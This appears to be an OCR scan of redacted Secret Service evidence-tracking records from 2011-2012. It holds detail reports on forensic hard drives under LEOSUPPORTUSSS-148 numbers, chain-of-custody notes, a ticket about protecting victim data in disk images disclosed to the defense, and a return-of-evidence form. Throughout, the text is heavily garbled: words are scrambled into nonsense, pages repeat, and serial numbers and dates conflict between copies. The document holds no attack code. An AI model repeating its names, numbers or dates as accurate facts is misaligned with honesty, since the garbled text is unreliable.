o LISSE 'O'Ol-w Nothmg n FEV. There is a DIID/ROA- timeline of events by

mmrofevummwmusss Updated chain ¢ cuatodyfenmplaeadhﬂwmefnld«
1118/2012- (BA) No new case status this month. There are no USSS/ROIs In the case file. There is 1 timsiine
DIlO/ROA In the case file. Nothing (n the FEV. The SIMS system cannot be updated to reflect “transfer of evidence
back to USSS" due to there is no Address given in SIMS for USSS,
[B/12-{BA) No new case status ROAs for Jan/Feb/2012-However there is a Form #1 dated 12/15/11-1240 hrs by
(QK)KDIQI@] now no longer employed at CMU) showing a transfer of a TE Berracuda XT 278 Sata HD serd#
SWMGHGT7 & a Samasung 332-dd.o001 Fomslclmageh FO. This form had not appsared in
the case file aa of 1/16.12 status check. Neither of thege items are listed as a previously recorded evidence item. No
USSS/ROIs In the case fie. 1-DIID'I'lmelmo ;Q.Ql Nothing in FEV.

8/26/12- (BA mmuscnommtomrsvmsafammwﬂmmummussm
KEZ%M Bog jA. No other case status ROIs and/or DIID/ROAS et this time.
- (BAID) _ |mailed out 148-1 thru 4 (HO's) via FedX.

—_—Wz T " FagoZoi2
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@ . s @
Classified Docu Detail Report

Origination Certificate Totl: 1
Document & LEOSUPPORTUSSS-148-3 Recelpt Number: SEIET021
Arelthvads Racelved From:
Container: X Generated/Received: Reaosived
Custodian: v Receive Method: Fed EX
Accountable: Recelve Date: 11/22/2011
Cisasification: LEO Sensitive Entered into System: 11/22/11
Contract ID: Project:
Barcode: D01048 Agency: United Statss Secrat Service
Control #; LEOSUPPORTUSSES-148-03 Data:
Courier Namae: TOP &
XRef #: 102-778-80071-8 Signad For: 020772012
Type: Media Incoming Recelpt#: 8784 8481 0364
Media Type: Hard Drive Number of Enciosures:
Serial#: SWMBBSS3 Pages:
Property #: Status: Transfor: In Transit
8CG: Losned:

Downgrede to: Sentto: USSS
Dovngrade: Sand Method: Fed EX
Downgrade Auth: Signed for Date; 0210772012
Retention Authorized: [ ’ ‘ Dispatohed: 06/27/2012

Retention Letter Sent: Inventoried:
Retain Untl:
Derved From: SentDest b
OADR: (] Witness:

DM&M Dmmm DWM

Oxt Oxe Oxs [Cxs COxs DxeDnDuDaElmm
{JoADR OADR Date:
CExempe Dectassity on:

mmxr.ss"msm\mmmwwm1mn 322 tmage, 321 image

“+* No Special Accesses *

Dl

Franwaction Date Transaction Type _ Receipt#
11722/11 New Entry

19/22111 Copy

120111 Loan Out

02/07112 intemal Transfer  IntT0091
03/12/12 Loan In

0827112 Loan Qut

62772012 2:44; Pageiol2
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Clusiﬁed Documents Detall Report
Origination Certificate Totat 1

08/27M2 External Transfer ~ SEIET021

11/22/2011 - L Evidence recleved on 11/21/2011 via FedEx from SADN/\0
dhﬂlyb@%]&ﬁemmlmsmamm v minanwst'uabbr
12 BA) New case this month. There is a form#1 the case file shawing transfer of D01048 from
S584(0)(0).(pa(b)(6),(] This form Is for case file only. n FEV. Thare is a DIIDROA- imeline of events by
sated 11/8/11, printed on 11/22/11 re “Court-mandated data protection standerds on evidence imagaes for
nse disclosure”’ in the case file.
12/1/2011 - [LONGO)] Evidence retuned to USSS 11/30/11. SIMS needs to be updated to refiect the
transfer of evidence back to the USSS. Updated forms placed in the case folder.
1/16/2012- (BA) No new case status this month. There are no USSS/ROIs in the case file. There is 1 timeline
DHD/ROA in the casa file. Nothing in the FEV. The SIMS system cannot be updated to reflect “transfer of evidence
back to USSS” due to there is no Address given In SIMS for USSS.
3/8/12-(BA) No new case status ROAs for ob/2012-However there is a Form #1 dated 12/15/11-1240 s by
Wmmmmammmamm \TE Barracuda XT 27B Sata HD ser#
T7 & a Samasung 332-dd.001 Forensic imaga to ussslﬁfgifﬂam FO. Thia form had not appeared in
mscasoﬁoasoﬂnmzmm ither of thase ftems are listed as a previously recorded avidence item. No
intha.case file 1-o||ormmnuommgms=w
BADADIAD tequesneopyofcase al Prep.
- WBOODMMBDMFEVMNMMUWWMMWMUSSS-SA
1'«1}.-;1 "- 0 other case status ROls and/or DUD/ROAS at this time.
f J) mailad out 148-1 thru 4 (HD's) via FedX,

6/2712012 2:44; Page 2 of2
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Classifiéd Documents Detall Report

Origination Certificate Total: 1

Document #: LEOSUPPORTUSSS-148-2

Aschived: [7]
 Container; 5

Accountable:
Classification: LEO Sensitive
Contract 1D:
Barcode: D01047
Controt #: LEOSUPPORTUSSS-146-02
Courler Name:
XRef#: 102-778-80071-8
Type: Media
Sedia Type: Hard Drive

Receipt Number: SEIET021
Received From:
Gensmted/Received: Received
Recsive Method: Fed EX
Recelve Date:
Entared Into System: 1172211
Project:
wmr United States Secret Service

TN 9‘
Signed For: 0207/2012

incoming Receipt #: 8784 6481 8384
Number of Enclosures:

Serfal §: WCAWZ1223200 Pages:
Proparty #: Status: Transfor: In Transit
8Ca: Losned: /)
Downgrade to: Sentto: USSS
Dawngrade; Send Methoct: Fed EX
Downgrade Auth: Signed for Date: 0207/2012
Retention Authortzed: [] Dispatched: 08/27/2012
Retention Letter Sant: Inventoriect;
Retajn Until Overdue: _08/27/20
ouved o senentor e LT
OADR: ] Witness:

Oxs Cxe Oxs D Oxs [Oxs Cxr Oxe [Ox9  [Jwanual Review
JoaDR

OADR Date:
[JExempt Declassily on:

Western Digitad, S.S'IT!SATAWMW1M-77W1 11mS014-08D, meonwmmm

"‘Nowm“'

|

] Tiansaction ODate Transsetion Type

R |

1122111 T N2y E’lﬂy
11122114 Copy

1210111

0200712 intemmal Transfer
03M2M2 Loan In
08272 Loan Out

612712012 2:32:30 7 %’ =~

Page 1012
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Classified Documents Detall Report
Origination Certificate Totat: 1

oe/z7/12 External Trangfer ~ SEIET024

directly to Evidance logged info SIMS and transterred tol(bXE).(EXJfor siorags In analyst's safe for

p gase this month, There Is a formi#ét %ﬂ the case file showing transfer of DO1047 from
e bS8 Q‘QX!K-.Q‘QH s form s for case file only. Nothing in FEV. There is a DIID/ROA- timeiine of events by
(0)(8),(0)(7)[created TTEITT; printed on 11/22M1 re "Court-mandated data protection standards on evidence images for
mwmwmm
12172011 - [LONGO] Evidence retumed to U 14/30/11. SIMS needs to be updated to reflect the
transfer of evidence back to the USSS. Updated chain of custody forms piaced in the case foider.
1/16/2012- (BA) No new case status this month. There are no USSS/ROIs in the case file. There is 1 timeline
DIID/ROA in the case file. Nothing in the FEV. The SIMS system cannat be updated to reflect “transfer of svidence
back to USSS” due to there is no Address given in SIMS for USSS.
)8 BA) No new case status ROAs for Jan/Fetv2012-Howesver there is a Form #1 dated 12/18/11-1240 hrs by

BX6).OM7XC) _[now no longer employed at CMU) ehowing a transfer of a SEAGATE Barecuda XT 2T8 Sata HD sert
hage tems are Hsted asamdmmm No

JWMSBGT7 & a Samasung 332-dd.001 Forensic image to USSS
USSB/ROis} A fil. 1.DIID Tumetine byf°XO). | Nothing in FEV.

tha case file as of 1/16.12 stahys chack.
petumed BC#D01047 to the FEV for safekeeping until same cn be shipped to USSS-SA
K. No other cass status ROls andior DUD/ROAS at this time.
aied out 148-1 thry 4 {HD's) via FedX

[73]751F] z:% Page20f2
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.Chsslﬂodbocumnhoohllnws

Origination Certificate Total. 1
Documeant¥#: LEOSUPPORTUSSS-148-1 Rocaipt Number: SEIET(21
Archived: (7] Roceived From:
mmmh Generated/Received: Received
Custodian: d Recelve Mathod: Fed EX
Accountable: Recoive Date:
Classification: LEO Sensitive Entered into Systems; 1422711
ContractiD: Project:
Barcodo: D01046 Agency: United States Secret Service
Control #;  LEOSUPPORTUS8S-148-01 Date:
Courler Name: TOP &
XRef#: 102-775-80071-8 Signed For: 0210702012
Type: Media Incoming Receipt#: 8784 84816384
Madia Type: Hard Drive Number of Enclosures:
Soriat 5 \WMAZAS661788 Pages:
Property . Status: Transfer: in Transit
g Loansd: (7]

Downgrede to: , Sentto: USSS
Downgrade: Send Method: Fed EX
Downgrade Autih: Signed for Dete: 02/07/2012
Retention Authorized: [] W 082712012

Retention Latier Sent:
Retain Untll: W
Derived From: SentiDest by:
OADR: (O Winess:

Restrict Copy Dmm Dmm

Oxt O Cxs Cxs Oxs DO Oxr Oxs (%6 [Juamust Review
DOADR OAOR Date:
[JExesm Declsssify on:

meu 3.5" 2TB SATA hard drive labeled 102-775-80071, '11m-8014-J8D, 326 containing forensic images

""No&ndalm"'

Rl
|

[Transaction Date _ Transaction Typs Receipt?

14/22111 New Entry

120111 Loan Out

o2/10712 Intemel Transfer  IMT0011
03/12/12 Loan in

068/27112 . Loan Qut

06/27112 External Transfer  SEIET021

72012 5 ~ Pageiole
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%nm«l Documoms Detail Repo,
Totat 1

Origination Certificate

povr oy — * g = — : - "

NGO Evidence recieved on 1172172011 via FedEx from SARISLEN/NC) |a0g), Evidence shipped
RT{(B)®).{b) | Evidence logged into SIMS and tranaterred to [ 212 ®) [ior siorage in anaiyet's safe for
transfer of DO1046 from

mlsmonm.mmlsafonn#'lby the cass file showing
This form is for case file only. Nothing | FEV. There is 8 DIID/ROA- timeline of events by
 data protection standards on evidence images for

) created 11/8/11, printed on 11/22/11 re "Coug-mandate.
81enso disclosure” in the case file. W
11 - [LONGO] Evidence retumed to USSS pn 11/30M11. SIMS needs to be updated to refiect the
transfer of evidence back to the USSS. Updated chalh of cusl forms placed in the case folder.
no USSS/ROIs in the case file. There is 1 imeling

121720
1/18/2012- (BA) No new case status this month. There a
hmm.mamsmmumbmmmm

DID/RROA in the case file. Nothing
MmUSSS'duebmmisdetmdminsmsmrusss.
lsa Form #1 dated 12/15/11-1240 hrs by

3/8/12-(BA) No new casa status ROAs for Jan/Febv2012-However
mm‘ EARATE Barraouda XT 2TB Sata HD ser#

SWMBBGT? & a Samasung 332-dd.001 Forensic Image o USSS (D)O). [Bosta FQ, This form had not appeared in
bithe.olthese items are Bsted as a previously recorded evidence item. No

BA(NG).() Jretumed BC#D01046 o the FEV for safekeeping until same cn be shipped to USSS-SA
No other case statiss ROls andior DID/ROAS at this time.

Imalied out 148-1 thru 4 (HD's) via FedX.

02712012
201 *%/ Page 2 of2
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Classified Documents Detall Report

Origination Certificate Totst: 1
Document#: LEOSUPPORTUSSS-148-8 Reseipt Number:
Container: FEV 1 GeneratadfRecelved: Recelved
Recsive Method: Fed EX
Accountsble: Recsive Dats: 12/01/2011
Claseification: LEO Sensitive Entered Into Syster: 11722111
Contraoct 1D: Project:
Barcode: DO1051 Agency: United States Secret Service
Control #: LEOSUPPORTUSSS-148-06 Date:
Courter Name: TOP#:
XRef#: 102-776-80071-8 Signed For: 02072012
Type: Media incoming Recslpt#: 8705 1360 6100
Modia Typs: Hard Drive Number of Enclosures:

Serlal # WCATR2308219 Pages:

Property . Statug: In House
8C6: Loaned: D
Downgrade to: Sont to:

Downgreda: Sand Method:

Downgrade Auth: Signed for Date: 02/07/2012
Retention Authorized: [ Dispatched: 02/07/2012
Rotention Letter Sent: inventoried:

Retain Unti: Overdus:
nomm mw

Dmom Dmom [JRestrict Trarmter

Dx't

[CJoADR OADR Date:
Olexempt Dacinssily on:

_

SFWmthOTBSATAm MWMMFAEX.WDMM

Elxa Dm Dxauxe Cixs Cxr

Ox8 %9 [IManusl Review

Paga 1 of2
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Clasaified Documents Detall Report
Drigination Certificate Totat: 1

121112011 - recleved on 11/31/2011 via FedEx from S4
Mbcs mmwmﬂ 2 A0CLILENNS T80
analysls. , SXE)GXA[

12203VWB0160804770. SIMS needs 1o be updated 0 refle
chain of cuatody forms piacad in the case folder.
1/18/2012- (BA) No new case status this month. There are no USSS/ROIs in the case file. There is 1 imeline
DID/ROA In the case file. Nothing in the FEV. The SIMS system cannot be updated to reflect “transfer of evidance
back to USSS" due o there is no Address given in SIMS for USSS.

EERELER TGS o onger erploye] s GMAUy s Cntr o 3 SESCLATE Bamect s 120 Sam g 7

NOW noO employed at ) showing a a SRAG

SWMEBGTT 8 a Samasung 332-dd.001 Forenaic Image to USSS (BXS), Iaagte FO. This form hag not appeared in

the case file as of 1/18.12 status check. items are isted as a previously recorded evidence item. No
USSS/ROis file. 1-DIID Timetine Nothing in FEV.
6/18/12-(BA copy of Case file foa Trial Prep.

8/8/2012 8: Page 20f2
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Classified Documents Detail Report

Origination Cartificate Totat: 1
Document#: LEOSUPPORTUS8S-148-8 Receipt Number:
.. Archived: [] Received From:

Comotan T BT

Genarsted/Recelvad: Recoivad
Racelve Method: Fed EX

Accountsbie: Receive Dats: 12/01/2011
Classifioation: LEO Sensitive Entered into System: 11/22/11
ContractiD: Project:
Barcods: DO1060 Agency: United States Secret Service
Control#: LEOSUPPORTUSSS-148-06 Dute:
Courler Name: TOP &
XRef#: 102-775-60074-8 Signed For: 02/07/2012
Type: Medis incoming Recelpt#: 8705 1350 5100
Media Type: Hard Drive Number of Enclosures;

Serial % WMAZAS837345 Pages:

Property #: Statue: In House
8C6: Loaned: D
Downgrade to; Sentto:

Downgrade: Sorcd Mathod:

Downgrade Autic Signed for Date: 02/07/2012
Relention Authorized: [} Dispatohed: 02/07/2012
Retantion Letter Sent: Invantoried:

Retsin Ynti: Qverdua:
MMM Why
GADR: [

DWM Dmm CIRestrict Transfer

Dm Ox2 Dm Ox e
[JOADR OADR Dats:
[CIExampt Decisssily on:

Oxs (b ke Cxe [Ivanust Review

3FWMWIWBSATAMMWMMDMQWWMOM

** No Spacial Accasgas ***

[Vranaaction Dats_Transaction Type immc

1201111 New Enty
120111 Copy

02/07/12 Internal Transfer

= No Authors =
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Classified Documents Detall Roﬁ‘ért
Origination Certificate Total: 1

monﬁmlzoﬁvbmm' _

12!9!2011 ONGO] Evidence retumed 1o USSS 84 tracking number;
12208VW901M770 SIMS needs to be updated & - dmuektomousss Updated
chain of custody forms piaced in the case foider.

1116/2012- (BA) No new case status this month. Thers are no USSS/ROIs in the case fiie. There is 1 timeline
DIIO/ROA in the case file. Nothing in the FEV. The SIMS aysiem cannot be updated to refiect "ransfer of evidence
back to USSS" due to there is no Address given in 8IMS for USSS.
ﬁZMﬂommsWRMhrhmummfokamﬂdnd12nsl11-1240mw

X Boston FO, This form had not appeared in
the case flle as of 1/16.12 status chack. Neither of these items are fisted as a previously recorded evidence item. No
USSS/ROis n tha cage file. 1-DIID Timeline by[E1&) (] Nothing in FEV.

PAJDAD)D) jreaquests copy of Case file foe Tral Prep.

BO8). Evidence shipped
0 mmmu

12[1!2011 -

BHBI2NZ2 o-gﬁ Pege 202
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Classified Docurhients Detall Report

Origination Certificate Total: 1

Document & LEOSUPPORTUSSS-1484

Archived: [}
Comiom [ORELERTIET ]

Roceipt Number:

Recelved From:
Gensmisd/Recelved: Recelved

Recsive Method: Fed EX

Accountable: Recelve Date: 11/22/2011
Glassification: LEO Sensltive Entered into System: 11722111
Contract 10: Project:
Barcode: 001049 Agency: United States Secrst Service
Control % LEOSUPPORTUSSS-148-04 Date:
Courler Hame: TOP®:
XRef#: 102-775-60071-8 Signed For: 02/07/2012
Type: Media Incoming Rocelpt#: 8764 5491 9384
Madia Type: Mard Orive Number of Enclosures:

Serial & WCATR2248284 Pages:

Property % Status: In House
8CO:; Loaned: [T
Downgrade to: Sent to:

Downgeade: Send Misthod:

Downgrade Auth: Signed for Date: 02/07/2012
Retsntion Authorizad: [] Dispatched: 02/07/2012
Reteniion Letiar Sent: inventoried:

Retain Until: Overdue:
Derived From: Sentest by:
OADR: [ Witness:

ClReetrictCopy  [JRestrict Destruction (IRestrct Transter

Oxt Ox2 Cxs Oxe Oxs s D [OX8 (X9 [iétanual Review
Joapr

OADR Date:
Dhn_mq Deciaselly on:

Wamm”m“ummmmmmmmmm.-w.ww.w

868", "WD1200 from Harv

e No Specal Accsssea =

[ Trnsaction Date Transaction Type

112211 New Entry
112211 Copy

1200141 Copy

0207112 intemal Transfer

0312112 in
6/18/2012 641 #%

PagatolZ
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'élassmeu Docuinents Detall nag&
Origination Certificate Totat: 1

“NoKeywords** = No Authors *

1112212011 - (LONGOI Exidence recieved on 1172122011 via FedEx from SA L (BOS). Evidence shipped
A [Q.QXDII Evidence logged into SIMS and transferved tq(b)(6),(b) [for storage in analysts safe for

srmmmaorommmm
FEV ThemiuDll OA- timefine of events by
datad data protection standards on evidence images for

5SS jon 11/30/11. SIMS needs to be updated to reflect the
mmmmwmu&s.wmmwmmmmmm.

1/1672012- (BA) No new case status this month. There are no USSS/ROIs in the case file. There is 1 timeling
DID/ROA in the case file. Nothing in the FEV. The SIMS system cannot be updated 1o reflect “transfer of evidence
back ta USSS" due 1o there is no Address given in SIMS for USSS.

BA) No new case status ROAS for JarnvFeb/2012-However there is a Form $1 dated 12/95/11-1240 hrs by
now no longer employed at CMU) showing a transfer of a TE Baracuda XT 2T8 Sata HD ser#t
SWMOBGT7 & a Samasung 332-d4.001 Fmsblmageb FO. This form had not appeared in
llnmeﬁoasoﬂneummm o flemns are (isted as a previously recorded evidence kem. No

mwm#/ ' - T
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ChuMmubﬁmﬁbDnqumn

. ' Origination Certificate Totat: 1
Document# LEOSUPPORTUSSS-148-3 . Receipt Number:
Archived: [J ), Recelved From:
Container: L Generatad/Received: Received
Custodian; Receive Method: Fed EX
Accauntable: Reocsive Dats; 11/22/2011
Classification: LEO Sensitive Entered into System: 1122/11
ContractiD: Projoct:
Barcode: DO1048 Agency: United States Secret Service
Control : LEOSUPPORTUSSS-148-03 Date:
Courler Mome: TOP &
XRot#: 102-775-80071-8 Signed For: 02072012
Type: Media Incoming Receipt # 8764 5481 9384
Wadia Type: Herd Drive Number of Enclosures:

Serlal & SWMGDES3 Pages:

Properiy #: Status: in House
8CG: Loaned: []
Downgrade to: Sontto:

Downgrade: Send Method:

Downgrade Auth: Signed for Date: 0207/2012
Retention Authorized: [] Dispatched: 0207/2012
Rotention Letter Sent: inventoried:

Retain Unti; Overdus:
Dertved From: SentiDest by:
QADR: {T] Witnese:

chon Dmm

Dx Oxe [xs Dxs [Oxs
Joabr OADR Dats:
OExampt Deciassily on:

Oxs (Oxr

[Restrict Tranafer

Oxs [xe  [CImenual Review

mmn wmsammmmm1mawo mmga,m image

mmwm'*

[Transaction Dete _Transaction Typs __ Recelpt#

b

12H1 New Entry
122 Copy

120141 Losn Out
02007112 ntemal Transfer

0312112 Loan In
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.Clanlﬂtd Documents Detsll Report

Origination Certificate Total: 1
= No Keywords ™ _ = No Authors "

m"“"mm‘“‘mam!Jilmmﬁl")e-“-- AbI
Evidencs logged into SIMS and transfermed 1\°X°).(D) fior storage in """I “mmm

ass this month. There is a form#1 the case file showing transfer of DO1048 from

1112212011 -

11I22! .

£2353(6), RollPXC)-] This form Is or case fi oniy, Nothing in FEV. Thers is & DIIDIROA- meine of svents by
EXELENTXC) | crosted 117871, printed on 11/22/11 re “Courtmandated date protection standards on evidenos images for
defense disclosure” in the case fhe. D)(9),(0

12/412011 - [LONGO] Evidance retumed to USSS} pn 11730/11. SIMS needs %o be updated to reflect the
transfer of evidence back 10 the USSS, Updated chaif fody forms piacad in the case folder.
mmzmuommmwmmmmmussmuhmmmmmm
DIID/ROA in the casa file. Nothing in the FEV. The SIMS system cannot be updated to reflect "transfer of evidence
back to USSS" dus to there ls no Address given in SiMS for USSS.

3/8/12 )NomcaumROkhMFMﬂWMhaFmﬂdaM1211&11-12¢Ohuby

USSS/ROIs
6/18/12

o/18/2012 meq% Pege20i2
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‘Classified Documents Detall Report

Origination Certificate Total: 1
Document #: LEOSUPPORTLISSS-148-2 Receipt Number:
Aschived: [} Received From:
Container: Gensrated/Recsived: Recelved
Custodian: Recelve Method: Fed EX
Accountable: Recelve Date:
Cizasification: LEO Semitive Entered into Bystem: 11/2211
Contract ID: Project:
Bareode: DO1047 Agency: United States Secret Service
Control #: LEOSUPPORTUSS8-148-02 Date:
Courier Name: TOPS:
XRof#: 102-778-60071-8 Signed For: 02/072012
Type: Media incoming Receipt §: B764 8481 9384
Media Type: Hard Drive Number of Enclosures:

Serlal#: WCAWZ1223290 Pages:

Property : Statwe: in House
8CG: Loaned: ]
Downgrade to: Sant tot

Downgrade: Send Method:

Downgrade Auth: Signed for Date: 02/07/2012
Retention Authorized: [] Dispatched: 02/07/2012
Retention Letter Sent: inventoried:

Retain Until: Overdue:
Derivod From: Sont/Dest by:
OADR: (] Witness:

[ORestrist Copy Dmm Dmtmuu

Dl1 I:]ﬂ D” [Ixe l:lxs DXD b [Oxe [Oxe [t Review

[JoaDR OADR Date:
JExempt Daclasslly on:

Weatom DW.WZTBSATAMQMW 102-775-80074, 11m-5014~J60, sasmmwucm

"'Nosmm"

e o~

I
Nl
§

H
|
|

22 New Entry

11122111 Copy

12001/

02007112 intemel Transfer  InET0011

os/1212 Loan in

978
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Classified Dosumerits Detall Ropo’
Origination Certificate Total: 1

* No Keywords ** o No Authars *=

- ) N case this month. There is 8 formi by b lin the case file showing transfer of D01047 from
WW . Nothing in FEV. There is @ DIID/ROA- timeline of events by
[DIQKDIQIQ] satad 1978717, printed on 11722/11 re "Court-mandated data profection stendards on evidence images for
g wmumm
121112011 - [LONGO) Evidence returned to 11/30/11. SIMS needs 10 be updated to reflect the
transfer of evidence back to the USSS. Updated chain of custody forms piaced in the case foider.
1118/2012- (BA) No new case status this month. There are no USSS/ROIS in the case fiie. There is 1 timeline
DID/ROA In the case fiie. Nothing in the FEV. The SIMS system cannot be updated to refiect “transfer of evidence
back to USSS" due to there is no Address given in SIMS for USSS,
_B/12-(BA) No new case stalus ROAs for Jan/Feh/2012-However there is @ Form #1 dated 12/15/11-1240 hrs by
(0)(6),(6X7)(C) | (now no longer empioyed at CMLS) showing a transter of a SEAGATE Barracuds XT 2T8 Sata HD ser#
GWNIBSQT? & o Samasung 332-dd.001 Fomsicmagehus (P)G). |Baston FO. This form had not appeared in
memnbaommzmm either of thaas isted as a previously racorded evidence item. No

Sea012 63726 PM Paga2of2
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Classified Documents Detall Report
Origination Certificate Total: 1
Document #: LEOSUPPORTUSSS-148-1 Receipt Number:
Archivee: [] Reselvad Frem:
Contalner: Genersted/Received: Received
Custodien: I@E%.(bﬁm | Receive Method: Fed EX
Avcoumntabie: Receive Date:
Clasafficgtion: LEC Senaithve Entered into System: 11722111
Contract ID: Projest
Barcodo: DO1048 Agency: United States Secret Service
Control & LEOSUPPORTUSSS-148-01 Date:
- Courler Name; TOP &
XRef¥: 102-778-60071-8 Signed For: 02/07/2012
Type: Mecdia incoming Receipt#: 8764 G451 9384
Madia Type: Hard Drive Number of Enclosures:

Serlai % WMAZAS961780 Pages:

Proparty & Siatus: In House
8CG: tomned: (]
Ocwngrade to: Sentto:

Dovazieds Bend Mathod:

Downgrade Auth: Signed for Date: 02/07/2012
Retention Authorized: [] Dispatched: 02/07/2012
Retontion Letter Sent: Inventortod:

Retain Untii: Overdus:
Derived From: Sent/Deat by:
OADR: (] Witness;

| Feewsess ]
ClRestnictCopy CIRestictDestruction  [RestrictTraneter '

Qo s

Cxe Olxs Cixs [Ox Oxs [ixs [Oxy [Oxs OX8  [JMunusi Review
[JOADR OADR Date:
CJexempt Deciasaify on:

Western Digital, 3.5 2TB SATA hard drive labeled 102-775-80071, 11m-8014-080, 326 containing forensicimages

4= No Spacial Acoesses ***

[ Transastion Dete W " Taceiptd ' |
1172211 New Entry
1201111 Loan Out
0207112 internal Transfor  {RtTO0114

. 012112 Loan In

Pege T of2

980



@ . g
Classified Documents Detail Report
Origination Certificate - Totat: 1

4 transforred {DIQXQI] mmgelnmﬂyst‘ssdefof

gage this month, There is a formi# & @! the case fila showing transfer of D01048 from
988 Thbbrmbformfbonlyﬂ 3T FEV. There is a DIID/ROA- timeline of events by
“ " ad data protection standards on evidencea imaes for

12/112011 [LONGO] Evidence returned to USSE bn 11730/11. SIMS needs to be updated to reflect the
transfar of evidence back to the USSS. memmmdyhrmsmadlnmmm

1/16/2012- (BA) No new case status this month, There are no USSS/ROIS in the case fila. There is 1 timetine
DIDAROA in the case file. Nothing in the FEV. The SIMS system cannot be updated to raflect “transfer of evidence
back to USSS” due to there is no Address given in SIMS for USSS.

: BA) NO new case status memr-'abnoiz-MwaaFmﬂmd12115111-1mmsby

[DAQHD'u;él at CMU) showing a transfer of a SEAGA

FWMBBAT7 & a Samasung 332-dd.001 Forensic Image to USSSHOAI
macasoﬂaasofma 12 status check. Neith tems are listed
USSS/ROIe In the cass file. 1-DID Timeline by Nothing in FEV.
/18/12-{BA)[(b)(6).(b ] requests copy of Case tial Prep.

mzmsﬁ {}; % | Page 2012
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[#LEOSUPPORTUSSS- M0 Farensics | BOS MWMWL.. Page 1 of2

IR LEO Support - USSSILEOS
. Forensics | BOSW Meet court-mandated data
protection standards on evidence images for defense disclosure

Details
Type: Forensics Staws: # Rescived
Priority: * Msjor Resolotion: Fomd
Affecte Vorsionfa:  None Flx Version’s: None
Component's: None
Labels: | Pending InISIACHve |

‘Description

Al roquont o S T Sl mere——m———————r—
fequivemants in over disk images while preserving proprietary vicim data.
Court-negotiated agreement betwaen AUSA and defense team povemns the acope ot data (o be disclosed.

the requiremants of the agroement, . 'i !5
proceesing under this request. 2 1 :

dod & comment - {0/Nov/{1 1230 PM -  Restricied 10 leosupport-usss  { . :3

wmummmmmm v
wwawmmammm i],

o8 for processing.

A

>
3
F

- 11 11:31 AM-  Reatricied t0 l60-SuUpport-usss
mmmm Kicked off process of importing snd verfficstion.

added & conment - 08/Dec/113:32 FM - Restricled L]
mmmaummwmmm-mm
diffoulties,
Wi 10 image, and i necessery mcover, the drive for processing for discovery.

& comment - 12/Dea/t1 6:10 PM-  Restricled to lao-support-usss
Difficuft drive imaged successfuly. Original evidence retumed to SA(D) _via UPS. Recaipt confirmad.
Will pracess image for discovery, although this is anticipaiad to be more complicatsd bacauss of spacific
evidentiary aspects of the contem of the disk.
mmmmMammmmmmhsWuMm@m.

added a comment - 21/Dec/i1 12:42 PM-  Resiricied to leo-Guppart-usss -
H(b3(6) has identified a sultsbis process a redacied image of thia sysiem for disoovery

mmmmmu receivad spproval to procesd.
Prooessing of discovery inage now undesway.

m: comment - 03/4an12 11:31 AM-  Rasticed 10 leo-support-usas
Pmdmmmwm.wmummnumwmwwtm
along with prepasing a furensic copy of image to ship.

Sadtannslfl banateln o fus b cacs B aBmemina N TVAOTIMDIANTTIANN ¥ 400 B Zuanmnin
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[FLEOSUPPORTUSSS-1W§¥ Forensics | BOS 1©) Meet caid-m data pro... Page2of?2
W | _ ]. o‘-mm pro... Page

added 8 commant - 06AJan/126:30 PM -  Raestriclad o leo-support-umsa

Disoovery and report on ite preparstion received by requasting FO and AUSA.
@mam-%:ﬂl PM-  Restricted 10 le0-support-usse
Marking (ssus resolved becausa all sub-tasks compicled. May reopen of atart now issue for Arture requests on

N BHAR

(0 haoat conmont 1ismit2 208 P4

JENE) (B2 frequest all paper work indicia on this case for LISSS Trial Prep.

People
'
Vote(0) Watch(0)
‘Dates
Created: O08/Nowv/11 10:49 AM
Updated: Today 2:03 PM
Resoived: 08/anM2 6:31 PM
Vls
hitna/Roonatvanling inlranat namt aunftinaflhemicn T DADT MNANRTTIACS 1 400, PR | rFIRAmATA

983



T Moo e e o]

[N
‘1

LEQ Suppart - USSS/LEOSUPRORE

Forensics | BOS || | Meet court-mandated data

protection standards on evidence images for defense disclosure
Details
Type: {® Forensics Siwstua: # Resolved
Resolution: Fowed
Fix Versioa/s: None

implement proteciive mechanism to meel defenss disolosure

mhmmmmmmmmm
Court-nagotiated sgreament batwesn AUSA and defanse team govems e Scops of date to be Jisticsed,

-Activity
Al Comments Woiklog HMistory Aclvity

Todey
r%mm-munmimmmmmonnawm
) : ] SROSuS
) .Mnﬂdwuewummummm

mmmu—--wmw“umm’mmmmmum

B snavosasasm

Wﬁnm-mnw {D)(B), | #ho coun mandemd data swatecton standarts on evdmes
wagn dacoe .

Blecoeaty inegs and tapon on its praperation ssaeves by requesting FO nd AUBA.
m <amary 08 MO0 ML

image 10 anip.
) eyosurenam

mammpmmamnnvrw»mmmmmcmmd

Dacermber 12

r%_—:nmmtm UDXB), Frtans conrs vairatees cate provitsan gepawiss tiveviance

httnoc/Romotvanlinn intranat navt nenlitenhennmal® EOOTDRADTTIOOS 14000a cavnndMac. I-ﬂi\f.
984
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[Mosurponmsss-lwcslaommm‘madmm.. Page20f2

LN
People
Assignee; ) o )
Voie(0) Watch(0)
‘Dates
Created: O8/MNow11 10:49 AM
Updated: Todsy 2:08 PM
Resoived: 06/Janf12 6:31 PM

985



| ® ® .
Q@

Cornegioblallon. LAW ENFORCEMENT SENSITIVE
Return or Destruction of Evidence
' “‘m D 1~ T ey E) ) . . . .
' Agenoyname: | USSS-Boston - | Authortzer nams: Click here o enter fext,
] 10 Cmuseway )
§ Agency sddress: Boston, MA .iwhtw C!!ckhere‘me'merw:t.
i CJ| ‘Tranafesved to another agency Agency.addrese: Click here o enter text.
N ' bbb If Titie M, date of court | (i 1ore 15 erier a date.
' . order to destroy:
.Agency sddress: | Click here to enter toxt,
-hb—_ v
'Y Bxhibk # 8. Neme and Exact Deseription of e
148-1 WD/MD BC# D01046 s/n WCAZASBE1766
1482 WDHD BC# DO1047 s/ WCAWZ1223290
1483 Seagate/HD BCYD01048 s/ia SWM69553
|1asa WDHD BCIWCATR2248284
931 WDMD BC#D01096 (CONTAINS 93 & 148 Data Files)

mmmmmmwnmumwmmwnﬂm

« IS 88 GERT R a4 i‘m‘mmm
' )8).bX7)C) )
D of & Tech:
| b
9. 6&1,1 t "
-'ummm‘ﬁ__,mmwm'@ o
XO  Retimed 4o LEO agency 0 Treneferved to ancther agency _ [J Destroyad
e s :
18. Signature of Witnaas o
19. Date and Time:

VERSION 4.0- 412
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umyq@@wmmmwmm

requirements in luming over diek images willo praserving propristery viclin dele.
Court-rmgotinied agresrment batwaen AUSA and defenss feem govarns the scope of dats to be disciosed.

[EXELENTNC)  Jedded s comment - 10Nowt $2:30PM-  Reslriched 1o leo-supportusss

— Gulubie mechaniem o mest Esoovery requirements hes beun ientiled.
